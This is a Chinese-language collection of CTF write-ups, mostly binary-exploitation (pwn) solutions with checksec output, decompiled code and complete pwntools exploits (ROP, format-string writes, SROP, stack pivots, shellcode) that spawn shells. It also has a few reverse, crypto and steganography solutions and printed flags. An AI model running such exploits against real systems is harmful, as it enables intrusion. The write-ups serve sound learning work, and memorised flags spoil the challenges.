context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('node1.tgctf.woooo.tech',31579)
#io = process('./pwn')
elf = ELF('./pwn')


name=0x080EF320

int_80=0x08073D70
pop_eax=0x080b470a
pop_ebx=0x08049022
pop_ecx=0x08049802
pop_edx=0x08060bd1
bin_sh=name
payload = b'/bin/sh\x00'+p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(bin_sh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0)+p32(int_80)
io.sendlineafter(b'your name?\n',payload)

payload = b'a'*(0xD0-0x8)+p32(name+0x4+0x8)
#gdb.attach(io)
io.sendlineafter(b'right?\n',payload)


#pause()
io.interactive()

p32(name+0x4+0x8)加4上面已经讲了,加8是为了跳过/bin/sh\x00‘占8字节

fmt

利用格式化字符漏洞任意写

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf);
puts("please tell me your name");
read(0, buf, 0x30uLL);
if ( magic == 1131796 )
{
printf(buf);
magic = 0;
}
return 0;
}

会给我们一个栈上的地址,存在格式化字符漏洞但是只能利用一次,read很小无法溢出,所以只能尝试通过格式化字符漏洞任意写控制执行流构造二次输入,泄露libc基址,打one_gadget

通过gdb调试到存在格式化字符漏洞的printf处

1

可以发现printf的返回地址被放到了buf起始地址之前也就是buf - 8的位置返回地址为0x401276而read的地址是0x40123D将返回地址修改为read的地址即可构造二次输入

利用%n可以将目前输入的字符数覆盖到指定的地址,可以通过%hn写入 一个short类型的值覆盖两个字节,也可以通过%hhn写入一个 signed char 类型的值覆盖一个字节。返回地址与read地址之间只是低位有一个字节的区别两种方式均可

1
2
0x401276   -->   76 12 40 00
0x40123D --> 3D 12 40 00

选择使用%hn覆盖则需要输出0x123D个字节也就是4669个字节,使用%n覆盖返回地址还需指定地址,也就是前面题目给的栈地址-8注意参数具体是第几个。

两种写法:

单字节写入,格式化字符占0x18个字节在栈上也就是3个参数的位置

1
2
3
4
5
6
payload = flat(
{
0:"%{}c%9$hhn%19$p".format(0x3D),
0x18:p64(stack - 8) # 修改 buf + 0x18 的值
}
)

注:在指定参数时rdi是算格式字符也就是 format 而我们指定的参数是 arg ,arg1是存储在rsi中寄存器存储5个参数第6个参数位于栈上,我们格式化字符占了0x18个字节,p64(stack - 8)也就是栈上的第4个参数

双字节写入

1
2
3
payload = b"%4669c%11$hn" + b"%19$p"
payload = payload.ljust(0x28,b"\x00")
payload += p64(stack - 8)

控制过执行流后接收libc二次利用格式化字符漏洞将执行流转至one_gadget处看了gets大佬的wp又学到了新姿势

1
2
3
4
5
6
payload = b"%" + str(one_gadget & 0xFFFF).encode()
payload += (b"c%10$hn%" + str(((one_gadget >> 16) & 0xFFFF) - (one_gadget & 0xFFFF)).encode())
payload += b"c%11$hn"
payload = payload.ljust(0x20, b"\x00")
payload += p64(stack + 0x68)
payload += p64(stack + 0x68 + 2)

这个payload最后是修改的部分是main函数末尾通过leave ret跳转到exit处将该地址利用任意写改成了one_gadget的地址

1

可以看到是stack地址加0x68处

str(one_gadget & 0xFFFF).encode()这部分是为了获取one_gadget的低16位并将低 16 位转换为字符串并编码为字节流

str(((one_gadget >> 16) & 0xFFFF) - (one_gadget & 0xFFFF)).encode())将 one_gadget 右移 16 位,获取高 16 位的值接着计算高 16 位和低 16 位的差值,将差值转换为字符串并编码为字节流

p64(stack + 0x68) :将 stack + 0x68 的地址转换为 8 字节的小端字节流。这个地址是低 16 位的写入目标。

p64(stack + 0x68 + 2) :将 stack + 0x68 + 2 的地址转换为 8 字节的小端字节流。这个地址是高 16 位的写入目标。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('node1.tgctf.woooo.tech',30480)
io = process(
["/home/pwn/桌面/ld.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
one =0xe3b01
read=0x40123D

io.recvuntil(b'your gift ')
stack = int(io.recv(14),16)
success(hex(stack))

payload = b"%4669c%11$hn" + b"%19$p"
payload = payload.ljust(0x28,b"\x00")
payload += p64(stack - 8)


io.send(payload)
io.recvuntil(b"0x")
base = int(io.recv(14), 16)-0x24083
print(hex(base))
one_gadget = one+base
payload = b"%" + str(one_gadget & 0xFFFF).encode()
payload += (b"c%10$hn%" + str(((one_gadget >> 16) & 0xFFFF) - (one_gadget &
0xFFFF)).encode())
payload += b"c%11$hn"
payload = payload.ljust(0x20, b"\x00")
payload += p64(stack + 0x68)
payload += p64(stack + 0x68 + 2)

gdb.attach(io)
io.send(payload)
io.sendline(b'cat f*')

io.interactive()

比赛的时候one_gadget版本太老了找到的和wp里的不一样就很难受

process新姿势:

1
2
3
4
io = process(
["/home/pwn/桌面/ld.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
)

西南科大校队招新赛

pwn01

ret2text

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io=process('./pwn')
io=remote('47.113.227.111',8090)
backdoor = 0x080491F6
payload=b'a'*(0x48+4)+p32(backdoor)
io.sendline(payload)
io.interactive()

flag{2732yg_cbhbc_999}

pwn02

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io=process('./pwn')
io=remote('47.113.227.111',8091)
target = 0x0804C030
payload= fmtstr_payload(4,{target:1})
io.sendline(payload)
io.interactive()

flag{182hh_jsidj_28ddss}

gift

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io=process('./pwn')
io=remote('47.113.227.111',8094)
ret = 0x400451
gift = 0x4005C4
payload= b'a'*(0x10+8)+p64(ret)+p64(gift)
io.sendline(payload)
io.interactive()

flag{gift_1s_4_v3ry_l0ng_fl4g_s3cur1ty_k3y5_ABCD1234!@#$}

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('47.113.227.111',8098)
#io = process('./pwn')
elf=ELF('./pwn')
io.recvuntil('gift->')
buf = int(io.recvuntil('\n',drop=True),16)
print(hex(buf))
payload = asm(shellcraft.sh()).ljust(0x48,b'\x00') + p32(0) + p32(buf)
io.sendline(payload)
io.interactive()

flag{m3ss4g3_1n_th3_b1n4ry_f1l3_0xDEADBEEF_1337}

UCSC

BoFido-ucsc

伪随机数,read处存在溢出可以覆盖种子,但无法直接覆盖v4,若种子固定则输出的随机数序列一定,循环十次若十次输入数字和随机数生成的一样即可获得shell

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int v5; // [rsp+8h] [rbp-38h] BYREF
int v6; // [rsp+Ch] [rbp-34h] BYREF
char buf[20]; // [rsp+10h] [rbp-30h] BYREF
unsigned int v8; // [rsp+24h] [rbp-1Ch]
unsigned int v9; // [rsp+28h] [rbp-18h]
unsigned int v10; // [rsp+2Ch] [rbp-14h]
unsigned int seed; // [rsp+30h] [rbp-10h]
unsigned int i; // [rsp+34h] [rbp-Ch]
int v13; // [rsp+38h] [rbp-8h]
int v14; // [rsp+3Ch] [rbp-4h]

init();
v14 = 0;
v13 = 0;
seed = time(0LL);
puts("Welcome to the lottery game!");
puts("Enter your name:");
read(0, buf, 0x25uLL);
puts("Now start your game!");
srand(seed);
for ( i = 1; i <= 10; ++i )
{
v10 = rand() % 255;
v9 = rand() % 255;
v8 = rand() % 255;
printf("[+] Round %d, please choose your numbers:\n", i);
__isoc99_scanf("%d%d%d", &v6, &v5, &v4);
printf("The lucky number is: %d %d %d\n", v10, v9, v8);
v13 = 0;
if ( v10 == v6 )
++v13;
if ( v9 == v5 )
++v13;
if ( v8 == v4 )
++v13;
if ( v13 == 3 )
{
puts("Congratulations! You won the first prize!");
++v14;
}
if ( v13 == 2 )
puts("Congratulations! You won the second prize!");
if ( v13 == 1 )
puts("Congratulations! You won the third prize!");
if ( !v13 )
puts("Congratulations! You won nothing!");
}
if ( v14 == 10 )
{
puts("You're so lucky! Here is your gift!");
system("/bin/sh");
}
else
{
puts("See you next time!");
}
return 0;
}

将随机数种子覆盖为一

1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1

0x20个a加上一个1

seed为1时生成10个随机数序列为

1
2
3
4
5
6
7
8
9
10
171 153 203
202 0 183
201 70 206
195 45 120
165 188 58
252 232 96
178 16 144
65 93 195
202 99 159
236 80 162

依次输入即可

1

御网杯

canary

check

1
2
3
4
5
6
7
8
9
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

题目叫canary但是却没开canary,IDA反编译发现是用随机数模拟的

main函数附近藏了个后门函数system('/bin/sh')

主要漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 sub_4013C7()
{
__int64 result; // rax
char buf[88]; // [rsp+0h] [rbp-70h] BYREF
__int64 v2; // [rsp+58h] [rbp-18h]
int v3; // [rsp+68h] [rbp-8h]
int v4; // [rsp+6Ch] [rbp-4h]

v4 = 0;
qword_4040D0 = (__int64)rand() << 32;
qword_4040D0 += rand();
v2 = qword_4040D0;
puts("I have a secret. Can you find it?");
while ( !v4 )
{
sub_40135C();
v3 = sub_401397();
switch ( v3 )
{
case 2:
if ( qword_404088 )
{
printf("My secret is %016lx\n", qword_4040D0);
qword_4040D0 = (__int64)rand() << 32;
qword_4040D0 += rand();
v2 = qword_4040D0;
puts("But now, I have a new Secret.");
--qword_404088;
}
else
{
puts("Just one time!");
}
break;
case 3:
v4 = 1;
break;
case 1:
puts("Show me the code:");
read(0, buf, 0x100uLL);
break;
}
}
result = qword_4040D0;
if ( v2 != qword_4040D0 )
{
printf("Hey, What are you doing?");
exit(0);
}
return result;
}

存在栈溢出,很简单的一题当时审代码没审仔细v2和qword_4040D0在最后会检查一次,如果不一致会结束运行导致无法用最后的leave ret控制执行流,所以要保证v2被覆盖后能还原,case1存在栈溢出case2可以还原v2

思路如下:先case1将main函数返回地址改为backdoor接着case2将覆盖了的v2变得和qword_4040D0一致,最后case3结束循环,需要注意的点是在覆盖时要注意保证v4为0不然循环就结束了无法再执行case2

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('192.168.9.151',55097)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./1.so')
backdoor = 0x401581
#gdb.attach(io)
sleep(3)
#io.sendline('2')
#io.recvuntil('My secret is ')
#canary = io.recv(16)

payload=b'a'*(88+0x10)+p64(0)+p64(0)+p64(backdoor)
io.recvuntil(b' choice')
io.sendline(b'1')
io.sendlineafter(b'code',payload)
io.sendlineafter(b'choice',b'2')
io.sendline(b'3')


io.interactive()

ez_pwn

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fa000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

关闭了标准输出流,有栈溢出漏洞

利用write用标准错误流泄露libc基地址打one_gadget

提权后将标准输出流重定向到标准错误流

1
2
exec 1>&2
cat flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('47.105.113.86',30003)

#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc-2.31.so"},
#)
libc = ELF('./libc-2.31.so')
elf = ELF('./pwn')
#print(hex(libc.got['read']))
#gdb.attach(io)
#sleep(3)
io.recvuntil(b'blind now.')
main = elf.sym['main']
vuln = 0x4011DD
write_got = elf.got['write']
write_plt = elf.plt['write']
ret = 0x000000000040101a
pop_rdi = 0x00000000004012c3
pop_rsi_r15 = 0x00000000004012c1

payload = b'a'*(0x20+0x8) + p64(pop_rdi) + p64(2) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(vuln)
io.sendline(payload)
write_addrs=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = write_addrs - libc.sym['write']
print(hex(libc_base))
system = libc.sym['system'] + libc_base
bin_sh = libc_base + 0x00000000001b75aa
pop_rdx_r12 = libc_base + 0x000000000011c1e1
one=0xe6af1+libc_base
payload = b'a'*(0x20+0x8) + p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(one)
io.send(payload)

io.interactive()

ez_base

垃圾邮件隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Dear Friend ; Especially for you - this amazing announcement 
. This is a one time mailing there is no need to request
removal if you won't want any more ! This mail is being
sent in compliance with Senate bill 2316 , Title 1
; Section 303 ! This is not a get rich scheme . Why
work for somebody else when you can become rich in
77 months . Have you ever noticed society seems to
be moving faster and faster and more people than ever
are surfing the web ! Well, now is your chance to capitalize
on this ! We will help you turn your business into
an E-BUSINESS and sell more . You can begin at absolutely
no cost to you . But don't believe us . Ms Ames who
resides in Indiana tried us and says "Now I'm rich,
Rich, RICH" . We are licensed to operate in all states
. If not for you then for your LOVED ONES - act now
! Sign up a friend and you'll get a discount of 30%
! Thank-you for your serious consideration of our offer
. Dear Friend ; Especially for you - this cutting-edge
intelligence . This is a one time mailing there is
no need to request removal if you won't want any more
! This mail is being sent in compliance with Senate
bill 1619 ; Title 3 , Section 308 ! This is NOT unsolicited
bulk mail . Why work for somebody else when you can
become rich inside 62 WEEKS . Have you ever noticed
nearly every commercial on television has a .com on
in it & nearly every commercial on television has a
.com on in it ! Well, now is your chance to capitalize
on this . We will help you decrease perceived waiting
time by 130% plus process your orders within seconds
! You can begin at absolutely no cost to you ! But
don't believe us ! Ms Simpson of Idaho tried us and
says "Now I'm rich, Rich, RICH" ! We are licensed to
operate in all states ! We implore you - act now .
Sign up a friend and you get half off . God Bless !
Dear Friend , Especially for you - this red-hot announcement
! This is a one time mailing there is no need to request
removal if you won't want any more ! This mail is being
sent in compliance with Senate bill 2216 ; Title 6
; Section 303 ! THIS IS NOT MULTI-LEVEL MARKETING .
Why work for somebody else when you can become rich
within 71 WEEKS . Have you ever noticed nearly every
commercial on television has a .com on in it & most
everyone has a cellphone . Well, now is your chance
to capitalize on this . We will help you decrease perceived
waiting time by 140% & SELL MORE ! The best thing about
our system is that it is absolutely risk free for you
. But don't believe us ! Mr Ames who resides in Rhode
Island tried us and says "I was skeptical but it worked
for me" . We assure you that we operate within all
applicable laws ! DO NOT DELAY - order today ! Sign
up a friend and you get half off . God Bless .

丢该网站https://www.spammimic.com/decode.shtml

解密出base64字符,再解密base64即可。

CTBUCTF

pwnme

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./sign_in')

elf = ELF('./sign_in')
#libc = ELF('./2.so')

#gdb.attach(io)
#sleep(3)
backdoor = 0x40119E

payload = b'a'*(0x40+0x8) + p64(backdoor)

io.recvuntil(b'Pwn me!')
io.sendline(payload)
io.interactive()

shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./2.so')

#gdb.attach(io)
sleep(3)

shellcode = asm(shellcraft.sh())

payload = shellcode
io.sendline(payload)
io.interactive()

ez_stack

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

简单的栈迁移,有很多gadget可以控制寄存器且有syscall,将execve('/bin/sh',0,0)的系统调用利用第一个read读到bss段的name上,在用后边的8个字节溢出覆盖rbp两次leave ret栈迁移到bss段上执行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./2.so')

gdb.attach(io)
sleep(1)
pop_rdi = 0x0000000000401180
pop_rsi = 0x0000000000401182
pop_rdx = 0x000000000040117a
pop_rax_syscall = 0x000000000040117d
bss = 0x404080
io.recvuntil(b'name?')
payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax_syscall)+p64(0x3b)
io.send(payload)
io.recvuntil(b'it!')
payload = b'a'*0x30+p64(bss)
io.send(payload)
io.interactive()

srop

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

main函数很简单只是一个read的系统调用,存在栈溢出,有/bin/sh,有gift可以将rax改为0xf也就是sigreturn的系统调用号,所以可以使用pwntool中的SigreturnFrame()构造影子栈通过系统调用sigreturn将此时的寄存器变为影子栈上寄存器的状态来调用execve(‘/bin/sh’,0,0)`

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./2.so')

gdb.attach(io)
sleep(3)

bin_sh = 0x404010
syscall = 0x40110d
sigreturn = 0x401117 # mov rax, 0xf ; ret

fake = SigreturnFrame()
fake.rax = 0x3b
fake.rdi = bin_sh
fake.rdx = 0
fake.rsi = 0
fake.rip = syscall

payload = b'a'*(0x20+8)+p64(sigreturn)+p64(syscall)+bytes(fake)
io.sendline(payload)
io.interactive()

just_one

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

保护全开,有格式化字符串漏洞但是只能执行一次,rsi存着栈顶地址有后门函数,只需要修改buf[100]处的第一个字节就可以跳转到后门函数,buf在栈上所以可以直接索引参数修改最后两个字节,也就是0xEF

0xEF = 239

测得输入地址的偏移为6,然后6 + 201(下标是从0开始,200即201) - 1 = 206

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('ctf.ctbu.edu.cn',33417)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./2.so')

#gdb.attach(io)
#sleep(3)
payload = "%239c%206$hhn"
io.sendafter(b"> ",payload)
io.interactive()

parloo

Reverse

PositionalXOR

  1. 异或逻辑

    • 每个字符的加密方式是:密文字符 = 原文字符 ^ (位置 + 1)(位置从 0 开始计数,但密钥从 1 开始递增)。
    • 例如,第一个字符 q 的 ASCII 码为 113,位置为 0,密钥为 1,解密为 113 ^ 1 = 112,对应字符 p
  2. 逐字符解密

    • 对每个字符按位置依次异或,恢复原始字符。
    • 例如:
      • V(位置 5)异或 6 得到 P
      • h(位置 6)异或 7 得到 o
      • {(位置 7)异或 8 得到 s
    1
    2
    3
    encrypted = "qcoq~Vh{e~bccocH^@Lgt{gt|g"
    decrypted = "".join([chr(ord(c) ^ (i+1)) for i, c in enumerate(encrypted)])
    print(f"Flag: {decrypted}")

PaluFlat

附件为.com文件,改为.zip解压后得到exe文件,

exe文件丢入ida找到加密逻辑

输入存入str[]数组中经过sub_40155函数加密后与v5数组比较

sub_40155加密逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
加密流程按以下顺序进行:

动态密钥选择:根据字符索引奇偶性交替使用"flat"和"palu"两个密钥
异或混淆:用密钥字节对原始字节进行异或运算
位移混淆:循环右移4位打乱bit位置
数值变换:通过减85改变数值分布
取反混淆:最终通过按位取反实现非线性变换
各步骤说明:

密钥选择策略:奇数位用flat[0],偶数位用palu[0],通过模运算循环使用密钥字符
循环移位实现:(v8 >> 4) | (v8 << 4) 完成4位右循环
减法操作使用模运算处理溢出,保证结果在0-255范围内
最终取反操作:~v8 & 0xFF 确保结果为有效字节值
这个加密算法通过多阶段非线性变换,实现了对原始字符串的混淆和扩散效果。

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def decrypt_byte(encrypted_byte, key_part, index, key1_len, key2_len):
# 逆向操作步骤:取反 → 加85 → 循环移位 → 异或
v8 = ~encrypted_byte & 0xFF # 逆向取反操作
v8 = (v8 + 85) % 256 # 逆向减85操作

# 循环右移4位的逆向操作(同样是循环右移4位,因为两次移位等于原值)
v8 = ((v8 << 4) | (v8 >> 4)) & 0xFF

# 选择密钥(与加密时相同的逻辑)
if index % 2 != 0:
key = key_part[0]
key_len = key1_len
else:
key = key_part[1]
key_len = key2_len

# 逆向异或操作
v8 ^= key[index % key_len]
return v8

def decrypt_string(encrypted_str):
key_part = [b"flat", b"palu"]
key1_len = len(key_part[0])
key2_len = len(key_part[1])

decrypted = bytearray()
for i in range(len(encrypted_str)):
plain_byte = decrypt_byte(encrypted_str[i], key_part, i, key1_len, key2_len)
decrypted.append(plain_byte)
return decrypted.decode('utf-8')

# 修正后的加密数据(包含原C代码中的0x8F)
encrypted_str = [
0x54, 0x84, 0x54, 0x44, 0xA4, 0xB2, 0x84, 0x54,
0x62, 0x32, 0x8F, 0x54, 0x62, 0xB2, 0x54, 0x03,
0x14, 0x80, 0x43
]

# 解密并打印结果
decrypted_flag = decrypt_string(encrypted_str)
print("Decrypted Flag:", decrypted_flag)

crypto

循环锁链

  1. 确定起点:已知flag以palu{开头,对应的ASCII值分别为0x70, 0x61, 0x6C, 0x75, 0x7B
  2. 异或链推导:发现密文循环结构中,若以索引36(最后一个字节0x0D)为起点,并假设明文通过异或链(每个字节与前一个明文异或)生成,则:
    • 明文[0] = cipher[36] ^ IV,其中IV = 0x0D ^ 0x70 = 0x7D
    • 后续明文满足:明文[i] = cipher[i] ^ 明文[i-1]
  3. 逐字节解密:从索引36开始循环遍历密文,依次异或前一个明文字节,得到完整明文。

最终解密结果即为所求flag。

palu{iC7uDoJJMAWnIhkkCNiIoCZZVmiPrk9}

欧几里得:

Paillier加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import long_to_bytes

c = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861

# 遍历所有可能的两个字节值
for s in range(0x10000):
# 构造两个字节
high = s >> 8
low = s & 0xff
# 生成m2的字节串:两个字节重复35次,共70字节
m2_bytes = bytes([high, low]) * 35
# 转换为整数
m2 = int.from_bytes(m2_bytes, 'big')
# 计算m1候选值
if m2 > c:
continue
m1 = c - m2
# 转换为字节
m1_bytes = long_to_bytes(m1)
# 检查是否以palu{开头,并且所有字符可打印
if m1_bytes.startswith(b'palu{') and m1_bytes.endswith(b'}') and all(32 <= b <= 126 for b in m1_bytes):
print("Found flag:", m1_bytes.decode())
print("Seed:", hex(s))
exit()

轩辕杯

it_is_a_canary

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了PIE开了Canary有后门函数,两个溢出点但是溢出字节数比较少只够覆盖rbp和返回地址

漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Is it a canary?");
read(0, buf, 0x30uLL);
printf("You say: %s.", buf);
read(0, buf, 0x30uLL);
puts("What is PIE?");
return v2 - __readfsqword(0x28u);
}

先用printf泄露canary,%s会被\x00截断所以用\n覆盖\x00输出canary,用第二个read尝试覆盖vuln的返回地址的后两个字节跳转到后门函数

多尝试几次就覆盖成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('27.25.151.26',62873)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./2.so')

#gdb.attach(io)
#sleep(3)
io.recvuntil(b'Is it a canary?')
io.sendline(b'a'*0x18)
io.recvuntil(b'a'*0x18)
canary = u64(io.recv(8))-0xa
print(hex(canary))

payload = b'a'*0x18 + p64(canary)+ p64(0) + b'\x65\x52'

io.send(payload)

io.interactive()

lllibc

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

简单的libc

libc版本:libc database search

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('27.25.151.26',29389)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
libc = ELF('./1.so')

#gdb.attach(io)
#sleep(3)
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
read = elf.sym['read']
pop_rdi = 0x000000000040117e
pop_rsi = 0x0000000000401180
pop_rdx = 0x0000000000401182
ret = 0x000000000040101a
bss = 0x404040



payload = b'a'*(0x10+0x8) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(write_got) + p64(pop_rdx) + p64(0x10) + p64(write_plt) + p64(main)
io.recvuntil(b'win?\n')
io.sendline(payload)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

print(hex(write_addr))
libc_base = write_addr - libc.sym['write']

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a'*(0x10+0x8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)

io.recvuntil(b'win?\n')
io.sendline(payload)


io.interactive()

国际赛

squ1rrel CTF 2025

jail

还不太会分析docker文件就先贴个大佬的exp

Solved by Winegee:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
